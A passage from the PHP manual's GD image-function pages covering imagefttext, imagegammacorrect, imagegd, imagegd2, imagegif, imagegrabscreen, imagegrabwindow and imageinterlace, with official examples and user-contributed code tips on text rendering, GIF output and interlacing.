        $tmpImage = imagerotate($tmpImage, $angle, $transparent);
        $newWidth = imagesx($tmpImage);
        $newHt = imagesy($tmpImage);
        imagecopymerge($image, $tmpImage, $x-$newWidth+$dropdown, $y-$newHt, 0, 0, $newWidth, $newHt, 100);

//        Highlight the desired starting point (baseline) with a green dot:
//        $green = imagecolorallocate($image, 0, 251, 0);
//        imagefilledellipse($image, $x, $y, 10, 10, $green);
        imagedestroy($tmpImage);
?>

-Dave
KeepSake at crimebloc dot com 17-Sep-2009 06:05
For a design project I am required to have spacing between characters; since imagefttext does not support this feature I have created a function which does support this.

The arguments are identical to imagefttext, accept that (array)$extrainfo now accepts the 'character_spacing' spacing parameter. The return values are as expected, and include the image boundaries of the entire string including the character spacing.

The downside is that $angle rotates each letter instead of rotating the entire word (could be seen as a feature on its own).

I hope this is of some use to someone.
- KeepSake

<?php
// Required header (assuming we use png images)
header("Content-type: image/png");

// Create a basic image with a dark background.
$image = imagecreatetruecolor(300, 20);
imagefill($image, 0, 0, imagecolorallocate($image, 21, 21, 21));

// Function call, arguments are the same as imagefttext, expect that (array)$extrainfo takes a new paramenter called character_spacing.
$imageBox = imagefttext2($image, 9, 0, 2, 15, imagecolorallocate($image, 255, 255, 255), 'tahomabold.ttf', 'The quick brown fox...', array('character_spacing' => 5));

// Output the file, and clear the resources
imagepng($image);
imagedestroy($image);

function imagefttext2($imageResource, $font_size, $text_angle, $start_x, $start_y, $color, $font_file, $text, $extra_info = array()) {
    if($extra_info['character_spacing'] == NULL || !is_numeric($extra_info['character_spacing'])) {
        $extra_info['character_spacing'] = 0;
    }
    $lastX = $start_x - $extra_info['character_spacing'];
    foreach(str_split($text) as $v) {
        $coordinates = imagefttext($imageResource, $font_size, $text_angle, $lastX + $extra_info['character_spacing'], $start_y, $color, $font_file, $v, $extra_info);
        $lastX = max($coordinates[2], $coordinates[4]);
    }
    // Return the newly generated image box coordinates:
    return array($start_x, $start_y, $coordinates[2], $coordinates[3], $coordinates[4], $coordinates[5], $start_x, $coordinates[7]);
}

?>
d underscore brown x at hotmail dot 24-Nov-2007 07:26
realpath(".")
realpath(getenv("SCRIPT_FILENAME"));

could be different.  This helped when setting GDFONTPATH.
darren at badpun dot co dot uk 29-Mar-2007 10:58
I had trouble working out how to accurately represent fonts in point sizes when constructing charts that had a user-customisable output DPI (basically, the user could specify the size of the chart in mm - or any other physical measure - and the DPI to create arbitrarily-sized charts to work properly in real printed documents).

GD1 was OK as it used pixels for font rendering, but GD2 uses points, which only makes any sense if you know the DPI that it assumes when rendering text on the image surface. I have not been able to find this anywhere in this documentation but have examined the GD2 source code and it appears to assume a DPI of 96 internally. However, this can easily be customised in the GD2 source so it cannot be assumed that all PHP interpreters out there have a GD2 compiled using 96dpi internally.

If it does, and you are using it to construct images whose target DPI is not 96, you can calculate the point size to supply to imageftbox() and imagefttext() like this:

<?php
/* 100mm x 100mm image */
$imageWidth = 100;
$imageHeight = 100;

/* 300 dpi image, therefore image is 1181 x 1181 pixels */
$imageDPI = 300;

/* unless we do this, text will be about 3 times too small */
$realFontSize = ($fontPt * $targetDPI) / 96;
?>
cory at lavacube dot com 09-Nov-2006 10:53
Since this function is not documented, I felt it was best that I shed some light on the extrainfo parameter.

You can see the full documentation at the GD reference manual:
http://www.boutell.com/gd/manual2.0.33.html#gdImageStringFTEx

Basically it accepts an array containing the following options as keys and an associated value:
(int) flags [more info in the GD reference manual]
(double/float) linespacing
(int) charmap
(int) hdpi
(int) vdpi
(string) xshow
(string) fontpath

My C/C++ is not very good but this is the best I can explain. Read the documentation for more information. :-)

A very simple example of usage would be:

<?php

imagefttext( $img_pointer, 12, 0, 10, 10, [-insertsomecolour-], '/path/to/font.ttf', "THIS IS A TEST\nTHIS IS LINE 2\nTHIS IS LINE3", array('lineheight'=>2.0) );

?>
20-Feb-2006 11:19
I am using php 5.1.2 on a winxp machine. I was  getting into the TrueType fonts and wanted to see which ones would look best incorporated into web images. So I created the following script that prints out samples of all the TrueType fonts found in my C:\Windows\Fonts directory. The script takes only one request parameter - 'fsize'. It stands for font-size and lets you see each font in any size you wish -- I limited it to values between 5 and 48. Hope this helps someone other than me :)

I apologize in advance if any of my code is not the prettiest-written php code even seen -- I have only been coding in php for the past week (I'm a perl-guy usually).

<?php
    list($x, $y, $maxwidth) = array(0, 0, 0);

    $fsize = (int)$_REQUEST['fsize'];
    if ($fsize < 5 or $fsize > 48) $fsize = 8;

    header("Content-type: image/jpeg");

    // don't know how wide or tall the font samples will be.
    // create a huge image for now, we'll copy it smaller
    // later when we know how large the image needs to be.
    $im = imagecreate(1000, 20000) or die('could not create!');
    $clr_white = imagecolorallocate($im, 255, 255, 255);
    $clr_black = imagecolorallocate($im, 0, 0, 0);

    $font_path = "C:/Windows/Fonts/";
    $dh = opendir($font_path);
    while (($file = readdir($dh)) !== FALSE) {
        // we're only dealing with TTY fonts here.
        if (substr(strtolower($file), -4) != '.ttf') continue;

        $str = "Sample text for '$file'";
        $bbox = imagettfbbox(
            $fsize, 0, "{$font_path}{$file}", $str
        );
        $ww = $bbox[4] - $bbox[6];
        $hh = $bbox[1] - $bbox[7];

        imagettftext(
            $im, $fsize, 0, $x, $y,
            $clr_black, "{$font_path}{$file}", $str
        );

        $y += $hh + 20;
        if ($ww > $maxwidth) $maxwidth = $ww;
    }

    closedir($dh);

    // ok, now we can chop off the extra space from the
    // 1000 x 20000 image.
    $im2 = imagecreate($maxwidth + 20, $y);
    imagecopyresized(
        $im2, $im, 0, 0, 0, 0, $maxwidth + 20,
        $y, $maxwidth + 20, $y
    );
    imagejpeg($im2);
    imagedestroy($im);
    imagedestroy($im2);
?>
vsazel at atlas dot cz 23-Nov-2005 06:16
If you want to get the best result in monochrome font rendering, change render_mode to FT_LOAD_RENDER. It's the last parameter of FT_Load_Glyph() function (in gdft.c).
dnf at seznam dot cz 23-Jun-2005 11:25
For negative image you must add one line after the $grayColor computation:

$grayColor =  ~ $grayColor & 0x7FFFFFF;
aidan at php dot net 29-May-2005 12:11
This function is very simular to imageffttext(), you may find the information provided on its manual page helpful:

http://php.net/imagettftext
MagicalTux at FF dot st 27-Jan-2005 11:20
When compiling PHP with FreeType 2 support, you'll probably have some problems if - for example - you use debian and didn't compile freetype2 yourself...
If configure fails after saying "If configure fails, try --with-xpm-dir..." you most likely have FreeType1 installed, but not freetype2 ...

Do this as root :
apt-get install libfreetype6-dev

It took me some time to find out that apt-get install freetype2 is actually installing freetype1 ...
kagaku at gmail dot com 08-Dec-2004 05:27
I found myself in need of an align right function and found one on the imagepstext manual page. I can't imagine I'm the only person who's needed to use this, so here's a slightly modified version that works with imagefttext:

<?
  function align_right($string, $fontfile, $imgwidth, $fontsize){
    $spacing = 0;
    $line = array("linespacing" => $spacing);
    list($lx,$ly,$rx,$ry) = imageftbbox($fontsize,0,$fontfile,$string,$line);
    $textwidth = $rx - $lx;
    $imw = ($imgwidth-10-$textwidth);
    return $imw;
  }
?>
eshenk at comcast dot net 24-Jan-2004 11:05
I wrote a bit of code to gather all the .ttf files in the directory with this script, and randomize them to write text on a header image for my site. The only catch is the font files have to be named 1.ttf, 2.ttf etc etc.

<?php

srand((double)microtime()*1234567); // Start the random gizmo
$image = imagecreatefromjpeg(rand(1,exec('ls *.jpg | wc -l')) . ".jpg"); // Get a background
$font = rand(1,exec('ls *.ttf | wc -l')) . ".ttf"; // Get a font
$textcolor = imagecolorallocate($image,0,0,0); // Set text color

$text1 = "shenko.homedns.org"; // Here is our text

imagettftext($image, 50, 0, 20, 50, $textcolor, $font, $text1); // Write the text with a font

header("Content-type: image/jpeg"); // Its a JPEG
imagejpeg($image,'',90); // Zap it to the browser
imagedestroy($image); // Memory Freeupage

?>
sebastiand at gmx dot de 17-Sep-2003 11:07
After spending the evening with some work on automatically generated images, I had the idea to switch of anti-aliasing (looking, if some font would look better that way), which turned out not to be quite so easy.

Actually you have to use the negative of the desired color to switch of antialising. I include the corresponding line from my code (line split up):

// USE NEGATIVE OF DESIRED COLOR TO SWITCH OF ANTI-ALIASING
ImageFTText ($neuesBild,$fontsize,$fontangle,$TextPosX,$TextPosY,
-$custom_fg,$fonttype,$text,array());
jwilliam at kcr dot uky dot edu 21-Nov-2002 09:22
Thanks for the script!  I modified it to show several fonts that I was wanting to use.  I am using GD-2.0.7, FreeType-2.1.3(text rotation fix,among others), and PHP-4.2.3 and had to include the array information to get it to work.

Code change follows:
$fontfile="/usr/local/fonts/ttf/bookantbd.ttf";
// Waterfall of point sizes to see what Freetype 2's autohinting looks like:
//
for($i=4;$i<=12;$i++){
  ImageFtText($image,$i,0,10,(280+$i*14),$forecolor,$fontfile, bookantbd . $i . ". " . $string, array("linespacing" => 1.0));
}

John
ben at tNOSPAManjNOSPAMo dot cnospamordots dot om 08-Aug-2002 09:59
If you're interested in turning off FreeType hinting, search for the following line in the gd source (gdft.c):
      err = FT_Load_Glyph (face, glyph_index, FT_LOAD_DEFAULT);
and replace it with
      err = FT_Load_Glyph (face, glyph_index, FT_LOAD_NO_HINTING);

Recompile GD, and vo�la: beauteous antialiasing.


Apply a gamma correction to a GD image

  • « imagefttext
  • imagegd2 »
  • PHP Manual
  • GD and Image Functions
  • Apply a gamma correction to a GD image

imagegammacorrect

(PHP 4, PHP 5)

imagegammacorrect — Apply a gamma correction to a GD image

Description

bool imagegammacorrect ( resource $image , float $inputgamma , float $outputgamma )

Applies gamma correction to the given gd image given an input and an output gamma.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

inputgamma

The input gamma.

outputgamma

The output gamma.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagegammacorrect() usage

<?php
// Create image instance
$im = imagecreatefromgif('php.gif');

// Correct gamma, out = 1.537
imagegammacorrect($im, 1.0, 1.537);

// Save and free image
imagegif($im, './php_gamma_corrected.gif');
imagedestroy($im);
?>

User Contributed Notes

There are no user contributed notes for this page.


Output GD2 image to browser or file

  • « imagegammacorrect
  • imagegd »
  • PHP Manual
  • GD and Image Functions
  • Output GD2 image to browser or file

imagegd2

(PHP 4 >= 4.0.7, PHP 5)

imagegd2 — Output GD2 image to browser or file

Description

bool imagegd2 ( resource $image [, string $filename [, int $chunk_size [, int $type = IMG_GD2_RAW ]]] )

Outputs a GD2 image to the given filename.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

filename

The path to save the file to. If not set or NULL, the raw image stream will be outputted directly.

chunk_size

Chunk size.

type

Either IMG_GD2_RAW or IMG_GD2_COMPRESSED. Default is IMG_GD2_RAW.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Outputting a GD2 image

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);

// Output the image
imagegd2($im);

// Free up memory
imagedestroy($im);
?>

Example #2 Saving a GD2 image

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);

// Save the gd2 image
// The file format for GD2 images is .gd2, see http://www.libgd.org/GdFileFormats
imagegd2($im, 'simple.gd2');

// Free up memory
imagedestroy($im);
?>

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

Note:

The GD2 format is commonly used to allow fast loading of parts of images. Note that the GD2 format is only usable in GD2-compatible applications.

See Also

  • imagegd() - Output GD image to browser or file

User Contributed Notes

Nick 13-Jun-2011 09:49
You can use this function in combination with imagecreatefromstring() to clone the gd resource with minimum fuss (no writing to tmp file):

<?php
function cloneGd($gd)
{
    ob_start();
    imagegd2($gd);
    return imagecreatefromstring(ob_get_clean());
}
?>
mark at teckis dot com 16-Apr-2003 03:33
yes, the gd2 file format does improve the speed of image creations as the data-setup is designed to be native for the GD function - ie, the image doesn't have to be converted to a usable format prior to processing.

you may also note that the newer gd2 format creates much smaller size files than the older imagegd function, certainly for images involving chunks of single colours anyway. you'll probably find this function most useful for saving overlay images or background images used in larger image creation scripts.

to read a ping or jpeg image (.png / .jpg) and save a .gd2 version to server...

$img = $_GET['img'];
if(file_exists($img))
    {
    $dim = getimagesize($img);
    $cr = ($dim[2] < 4) ? ($dim[2] < 3) ? ($dim[2] < 2) ? NULL : imagecreatefromjpeg($img) : imagecreatefrompng($img) : Null;
    if($cr !== NULL)
          {
         imagegd2($cr,substr($img,0,strrpos($img,'.')).'.gd2');
          }
    }

should save a copy with the same filename and directory using extension .gd2 - which can then be nicely and swiftly read using either imagecreatefromgd2 or imagecreatefromgd2part


Output GD image to browser or file

  • « imagegd2
  • imagegif »
  • PHP Manual
  • GD and Image Functions
  • Output GD image to browser or file

imagegd

(PHP 4 >= 4.0.7, PHP 5)

imagegd — Output GD image to browser or file

Description

bool imagegd ( resource $image [, string $filename ] )

Outputs a GD image to the given filename.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

filename

The path to save the file to. If not set or NULL, the raw image stream will be outputted directly.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Outputting a GD image

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);

// Output the image
imagegd($im);

// Free up memory
imagedestroy($im);
?>

Example #2 Saving a GD image

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);

// Save the gd image
// The file format for GD images is .gd, see http://www.libgd.org/GdFileFormats
imagegd($im, 'simple.gd');

// Free up memory
imagedestroy($im);
?>

Notes

Note:

The GD format is commonly used to allow fast loading of parts of images. Note that the GD format is only usable in GD-compatible applications.

See Also

  • imagegd2() - Output GD2 image to browser or file

User Contributed Notes

There are no user contributed notes for this page.


Output image to browser or file

  • « imagegd
  • imagegrabscreen »
  • PHP Manual
  • GD and Image Functions
  • Output image to browser or file

imagegif

(PHP 4, PHP 5)

imagegif — Output image to browser or file

Description

bool imagegif ( resource $image [, string $filename ] )

imagegif() creates the GIF file in filename from the image image. The image argument is the return from the imagecreate() or imagecreatefrom* function.

The image format will be GIF87a unless the image has been made transparent with imagecolortransparent(), in which case the image format will be GIF89a.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

filename

The path to save the file to. If not set or NULL, the raw image stream will be outputted directly.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Outputting an image using imagegif()

<?php
// Create a new image instance
$im = imagecreatetruecolor(100, 100);

// Make the background white
imagefilledrectangle($im, 0, 0, 99, 99, 0xFFFFFF);

// Draw a text string on the image
imagestring($im, 3, 40, 20, 'GD Library', 0xFFBA00);

// Output the image to browser
header('Content-Type: image/gif');

imagegif($im);
imagedestroy($im);
?>

Example #2 Converting a PNG image to GIF using imagegif()

<?php

// Load the PNG
$png = imagecreatefrompng('./php.png');

// Save the image as a GIF
imagegif($png, './php.gif');

// Free from memory
imagedestroy($png);

// We're done
echo 'Converted PNG image to GIF with success!';
?>

Notes

Note:

GIF support was removed from the GD library in Version 1.6, and added back in Version 2.0.28. This function is not available between these versions. For more information, see the » GD Project site.

The following code snippet allows you to write more portable PHP applications by auto-detecting the type of GD support which is available. Replace the sequence header ("Content-Type: image/gif"); imagegif ($im); by the more flexible sequence:

<?php
// Create a new image instance
$im = imagecreatetruecolor(100, 100);

// Do some image operations here

// Handle output
if(function_exists('imagegif'))
{
    // For GIF
    header('Content-Type: image/gif');

    imagegif($im);
}
elseif(function_exists('imagejpeg'))
{
    // For JPEG
    header('Content-Type: image/jpeg');

    imagejpeg($im, NULL, 100);
}
elseif(function_exists('imagepng'))
{
    // For PNG
    header('Content-Type: image/png');

    imagepng($im);
}
elseif(function_exists('imagewbmp'))
{
    // For WBMP
    header('Content-Type: image/vnd.wap.wbmp');

    imagewbmp($im);
}
else
{
    imagedestroy($im);

    die('No image support in this PHP server');
}

// If image support was found for one of these
// formats, then free it from memory
if($im)
{
    imagedestroy($im);
}
?>

Note:

As of PHP 4.0.2 you can use the function imagetypes() in place of function_exists() for checking the presence of the various supported image formats:

<?php
if(imagetypes() & IMG_GIF)
{
    header('Content-Type: image/gif');
    imagegif($im);
}
elseif(imagetypes() & IMG_JPG)
{
    /* ... etc. */
}
?>

See Also

  • imagepng() - Output a PNG image to either the browser or a file
  • imagewbmp() - Output image to browser or file
  • imagejpeg() - Output image to browser or file
  • imagetypes() - Return the image types supported by this PHP build

User Contributed Notes

coldume 06-Sep-2013 04:19
To keep GIF animation, you can try the class writing based on GD
GD Enhancer http://www.gdenhancer.com/
mail at ignore dot area dot nospam dot joshho dot com 11-Jan-2012 07:37
apparently GD does not support animated GIFs.

instead, we're stuck with the old fashioned way:
<?php
header('Content-Type: image/gif');
echo file_get_contents($destPathImage);
?>
grant k. 27-Jul-2010 07:46
It should be noted that if you only want to "save" the file, and not display it to the browser, you should catch the imagegif into a variable.

Example:

<?php
//Only saves the file to a destination, no display

$image_value = imagegif($image, $save_file_to_path);

//Saves file and attempts to display it, but will throw an error message

imagegif($image, $save_file_to_path);

//Only displays, never saves as a file
imagegif($image);

//Note: In [my] third example, for displaying only, it is probably good to use the "header('Content-type: image/gif'); declaration, but it's not needed in the first example for saving as a .gif file.
?>
stefan at colulus dot com 30-May-2008 08:18
I worked out a script that allows the transfer of alphanumeric data to be placed on an image. The HTML feature is img src and the php feature is imagettftext. This simple code will increment from 1 to 3 on images.

code:

<?php
//ImageCall.php -- This script will call a script to produce the image.
for($next = 1;$next < 4; $next++){
print "Image $next:<br>";
print "<img src = 'Image.php?\$text=$next'>";
print "<br><br>";
}
?>

<?php
//Image.php -- This script creates a square image and places the text on it.

// image size and color
$im = ImageCreate(77,77);
$color1 = ImageColorAllocate($im,0x66,0xCC,0x00);
$color2 = ImageColorAllocate($im,0x33,0x66,0x00);
$color3 = ImageColorAllocate($im,0x00,0x99,0x00);
$color4 = ImageColorAllocate($im,0x3D,0x3D,0x3D);

// image creation
ImageFilledRectangle($im,1,1,76,76,$color1);
ImageFilledpolygon($im, array (76,1,1,76,76,76),3,$color2);
ImageFilledRectangle($im,5,5,72,72,$color3);

// determine numeric center of image
$size = ImageTTFBBox(45,0,'impact',$_GET['$text']);
$X = (77 - (abs($size[2]- $size[0])))/2;
$Y = ((77 - (abs($size[5] - $size[3])))/2 + (abs($size[5] - $size[3])));

//places numeric information on image
ImageTTFText($im,45,0,($X-1),$Y,$color4,'impact',$_GET['$text']);

//returns completed image to calling script
Header('Content-Type: image/png');
Imagegif($im);

?>
alan hogan dot com slash contact 12-Nov-2007 11:47
Note that you *can* save with a transparent color **and dither** using GD2.
For a useful example, see the png-to-gif function in my coment here:
http://www.php.net/manual/en/function.imagecolorat.php
rokfaith at gmail dot com 07-Jul-2006 12:34
to create an animated gif with gifsicle, but without storing temporary images on disk:

<?php
$cmd = 'gifsicle --loop -O1 --multifile --delay 25 - > '.$outfile;
$desc = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w"));
$proc = proc_open($cmd, $desc, $pipes);
if (!is_resource($proc)) {
  die('Unable to start gifsicle');
}
for ($frame=0; $frame<$total_frames; $frame++) {
  $image = RenderFrame($frame);
  ob_start();
  imagegif($image);
  fwrite($pipes[0], ob_get_contents());
  ob_end_clean();
  imagedestroy($image);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($proc);
?>

just define $outfile and RenderFrame(), and that's it.
Leigh Purdie 04-Jul-2005 02:17
Simple animated-gif hack (requires ImageMagick):

<html><body>
<?php
        $icount=0;
        for($count=0;$count<40;$count++) {
                $im=imagecreate(200,200);
                imagecolorallocate($im,0,0,255);
                $white=imagecolorallocate($im,255,255,255);
                imagerectangle($im,$count,$count,200-$count,200-$count,$white);
                $icount++;
                $tcount=sprintf("%04d",$icount);
                imagegif($im,"/tmp/test-$tcount.gif");
                imagedestroy($im);
        }
        exec("/usr/bin/convert -delay 2 -loop 10 /tmp/test*.gif /var/www/html/Tests/Test-Anim.gif");
?>
<img src="/Tests/Test-Anim.gif">
</body>
</html>
Lauri Harpf 23-Jun-2005 06:25
Using <IMG SRC="image.php"> to dynamically generate images is a bit problematic regarding cache. Unless caching is activated, IE seems to get confused about the type of the image when attempting to save it. A .GIF created in the above way causes the browser to suggest saving the image with .BMP, not .GIF.

A solution is to activate cache with session_cache_limiter('public'); in "image.php", after which IE will correctly save as .GIF. If you do not want the cache to block any changes in the dynamic image, make sure that the SRC keeps changing with every reload. Something like "image.php/" . mt_rand(1,100000) . ".gif" seems to work well.

Might be trivial to some, but I spent a couple of hours figuring out why IE always wants to save my dynamic .GIF's as .BMP's.
jemore at nospam dot m6net dot fr 22-Nov-2003 07:24
If you open a truecolor image (with imageCreateFromPng for example), and you save it directly with imagegif, you can have a 500 internal server error. You must use imageTrueColorToPalette to reduce to 256 colors before saving the image in GIF format.
polone at townnews dot com 03-Apr-2002 08:40
read also RFC2557: http://www.ietf.org/rfc/rfc2557.txt
For handling inline images in email.
----

I've been playing around with the "data" URL scheme as proposed by RFC 2397 which states how to perform inline, bas64 encoded images. A number of browsers support this format from some of my tests and would be an interesting way of removing overhead from multiple HTTP connections. Basically, the IMG tag would be:

<IMG SRC="/-/data:image/gif;base64,R0lGODdhMAAwAPAAAAAAAP///ywAAAAAMAAw AAAC8IyPqcvt3wCcDkiLc7C0qwyGHhSWpjQu5yqmCYsapyuvUUlvONmOZtfzgFz ByTB10QgxOR0TqBQejhRNzOfkVJ+5YiUqrXF5Y5lKh/DeuNcP5yLWGsEbtLiOSp a/TPg7JpJHxyendzWTBfX0cxOnKPjgBzi4diinWGdkF8kjdfnycQZXZeYGejmJl ZeGl9i2icVqaNVailT6F5iJ90m6mvuTS4OK05M0vDk0Q4XUtwvKOzrcd3iq9uis F81M1OIcR7lEewwcLp7tuNNkM3uNna3F2JQFo97Vriy/Xl4/f1cf5VWzXyym7PH hhx4dbgYKAAA7" ALT="Larry">

Something like that. Note also that I start the URI with "/-/" before the rest of the data scheme spec. If you don't start it with this, it won't work in a lot of the different browsers I tested (such as IE). Note this is useful for very small images only (as most browsers appear to have a limitation on the size of HTML element data of 1024). Browsers where this syntax worked that I tested are the following:

IE 6.x (windows)
Mozilla 0.97+ (linux)
Opera 5, 6 (windows)
Netscape 4.7+ (mac, windows)
IE 5 (macintosh)

This should work for other image types as well, such as PNG. JPEG files aren't really suggested (usually, these files are too large). BTW - there is no advantage to this method if the image will appear more than ONCE in the page because you will be transmitting the same data multiple times as opposed to just once (most browsers realize that already downloaded data that has multiple references only requires one HTTP call).

Consider using this method if you want to make a single PHP program that outputs both text and an image AND you want to make only on HTTP call. Cheers.
kremlin at home dot com 27-Feb-2001 06:45
Animated GIFs as well as transparent GIFs qualify as GIF89a's and you should use ImageColorTransparent().
david at hooshla dot com 29-Apr-2000 04:45
This is how you load and display an image file:

<?php
Header("Content-Type: image/gif");
$fn=fopen("./imagefile.gif","r");
fpassthru($fn);
?>

Note that there are no new-lines in the content type header.


Captures the whole screen

  • « imagegif
  • imagegrabwindow »
  • PHP Manual
  • GD and Image Functions
  • Captures the whole screen

imagegrabscreen

(PHP 5 >= 5.2.2)

imagegrabscreen — Captures the whole screen

Description

resource imagegrabscreen ( void )

Grabs a screenshot of the whole screen.

Return Values

Returns an image resource identifier on success, FALSE on failure.

Examples

Example #1 imagegrabscreen() example

This example demonstrates how to take a screenshot of the current screen and save it as a png image.

<?php
$im = imagegrabscreen();
imagepng($im, "myscreenshot.png");
imagedestroy($im);
?>

Notes

Note:

This function is only available on Windows.

See Also

  • imagegrabwindow() - Captures a window

User Contributed Notes

Nitrogen 12-Dec-2009 04:22
If you have multiple displays set up, this function will only grab the primary display; not all of them like you would with the 'Print Screen' key.

Also, this should be pretty obvious but I'll mention it anyway, if you're running GPU-intensive applications (not CPU), calling this function will cause quite some significant lag to your machine and server response until the request is complete.
andrew at local dot co dot nz 19-Apr-2008 01:02
For this to work your Apache service must be set to 'Allow service to interact with desktop' otherwise you will just get a blank image. To fix this right-click My Computer, select Manage/Services and Applications/Services - find the apache service (like Apache2) and right-click, select Properties - choose the Log on tab and check the 'Allow service to interact with desktop' checkbox. Restart Apache.


Captures a window

  • « imagegrabscreen
  • imageinterlace »
  • PHP Manual
  • GD and Image Functions
  • Captures a window

imagegrabwindow

(PHP 5 >= 5.2.2)

imagegrabwindow — Captures a window

Description

resource imagegrabwindow ( int $window_handle [, int $client_area = 0 ] )

Grabs a window or its client area using a windows handle (HWND property in COM instance)

Parameters

window_handle

The HWND window ID.

client_area

Include the client area of the application window.

Return Values

Returns an image resource identifier on success, FALSE on failure.

Errors/Exceptions

E_NOTICE is issued if window_handle is invalid window handle. E_WARNING is issued if the Windows API is too old.

Examples

Example #1 imagegrabwindow() example

Capture a window (IE for example)

<?php
$browser = new COM("InternetExplorer.Application");
$handle = $browser->HWND;
$browser->Visible = true;
$im = imagegrabwindow($handle);
$browser->Quit();
imagepng($im, "iesnap.png");
imagedestroy($im);
?>

Capture a window (IE for example) but with its content

<?php
$browser = new COM("InternetExplorer.Application");
$handle = $browser->HWND;
$browser->Visible = true;
$browser->Navigate("http://www.libgd.org");

/* Still working? */
while ($browser->Busy) {
    com_message_pump(4000);
}
$im = imagegrabwindow($handle, 0);
$browser->Quit();
imagepng($im, "iesnap.png");
imagedestroy($im);
?>

Notes

Note:

This function is only available on Windows.

See Also

  • imagegrabscreen() - Captures the whole screen

User Contributed Notes

nico ->atdot 29-Sep-2007 05:37
If you just want to take a screenshot of a website WITHOUT the ugly IE window around it, the easiest way is setting the "Fullscreen" property to TRUE.

$browser->Fullscreen = true;

This is basically the same as pressing F11 once the browser is open, so you just get the actual website.


Enable or disable interlace

  • « imagegrabwindow
  • imageistruecolor »
  • PHP Manual
  • GD and Image Functions
  • Enable or disable interlace

imageinterlace

(PHP 4, PHP 5)

imageinterlace — Enable or disable interlace

Description

int imageinterlace ( resource $image [, int $interlace = 0 ] )

imageinterlace() turns the interlace bit on or off.

If the interlace bit is set and the image is used as a JPEG image, the image is created as a progressive JPEG.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

interlace

If non-zero, the image will be interlaced, else the interlace bit is turned off.

Return Values

Returns 1 if the interlace bit is set for the image, 0 otherwise.

Examples

Example #1 Turn on interlacing using imageinterlace()

<?php
// Create an image instance
$im = imagecreatefromgif('php.gif');

// Enable interlancing
imageinterlace($im, true);

// Save the interlaced image
imagegif($im, './php_interlaced.gif');
imagedestroy($im);
?>

User Contributed Notes

Gerry Danen 25-Jan-2007 02:20
It was suggested that this function can be used to retrieve the interlace bit of an image that is stored in a file. This is not the case.
While imageinterlace() returns 0 or 1 if a valid Image resource is passed, passing a file name as a string results in a PHP warning and the return value is neither 0 nor 1.
julien / at / theoconcept.com 29-Jan-2006 11:33
This function is useful when working with Ming, as SWFBitmap constructor will use a NON INTERLACED Jpeg file, so you have to use imageinterlace(0);
mangobrain.co.uk 17-Jan-2006 11:03
dr_snapid's comment that "the server sends every Nth line" is not entirely true. A web server need not know anything about the contents of the file it is sending; its job is simply to send the data. Rather, the image is created in such a way that the data corresponding to "every Nth line" appears at the beginning of the file, with the details becoming able to be filled in as more of the file is received by the browser. In PHP's case, the data may have been generated dynamically instead of pulled from a file, but this does not change the fact that it is the data itself that is different, not the manner in which it is sent.*

In fact, with JPEG, it is less "every Nth line", and more "every Nth pixel", where N is gradually decreased, resulting in a grid that gets progressively more fine-grained as the data is received (hence the appearance of a low res image becoming more detailed). The browser basically estimates what goes in the gaps between pixels, probably by simply blending between the colours, whilst the "real" data continues arriving. This is a fundamentally different method for encoding the data when compared to non-progressive JPEGs, and coupled with the format's other compression techniques, may indeed result in a different file size.

*Can you imagine how much more buggy the Web would be if servers were expected to send different file types using different algorithms, and browsers were expected to be able to receive every one of them?
dr_snapid at mxm dot com dot au 22-Nov-2005 05:16
Interlacing doesnt store another image, it simple changes the order in which the images lines are sent and rendered. The server sends every Nth line, reaches the end, then goes back to the start, reading the lines in between.

After each pass the browser displays the downloaded lines, plus filles the lines not yet received the same, but with each pass the gaps being filled get smaller and the image sharpens. After several passes every line has been read, and the browser has rendered the image in full detail.

Hope that makes sense, it does explain why there should not really be any difference in filesize, so I cant explain why some people have observed a file size difference.

As I understand it, there is only 1 bit in the file which says if its interlaced or not, and the server and client (browser) just handle it differently if it is set to 1.
thomas dot brandl at barff dot de 15-Jul-2005 09:28
Set imageinterlace() to 0 if you need to load the generated images in Flash. Flash does not support progressive JPEGs
drake127 12-Jun-2005 12:51
Interlancing works also with PNG files but it increase filesize (from 14.4M to 17.7M).
mironto at mironto dot sk 19-Nov-2004 03:17
just to add my 5 cents on the progressive principle of jpeg: there are no several lowres images stored in jpeg along with original picture, the only thing altered is the order of "pixels". in jpeg the image is divided in areas 8x8 pixels, so instead of linear order of pixels (row-by-row), first there is one pixel form each 8x8 area included in the begining of the image data stream, so when the browser recieves all 8x8 area pixels, it can display "pixelate" image and as soon as it recieves more data, the browser can add more pixels and "sharpen" the image.
manuel.warum at edu.uni-klu.ac.at 15-Apr-2004 07:41
About MichaelSoft's note "Imageinterlace($im, 1) creates a JPG which is first loaded completely before showing anything":

Actually, that's not completely true.
This only happens with Internet Explorer (any version, for the time being) as it doesn't seem to support progressive displaying and rather shows the image, when it's 100% done with loading. Other browsers (Mozilla, Mozilla Firefox, Opera, Konqueror, etc.) do their job as they're supposed to do: Displaying a very low-res image, then overlaying a midlow-res image (while loading), and then displaying more and more details.
ben dash xo at dubplates dot org 19-Mar-2004 03:25
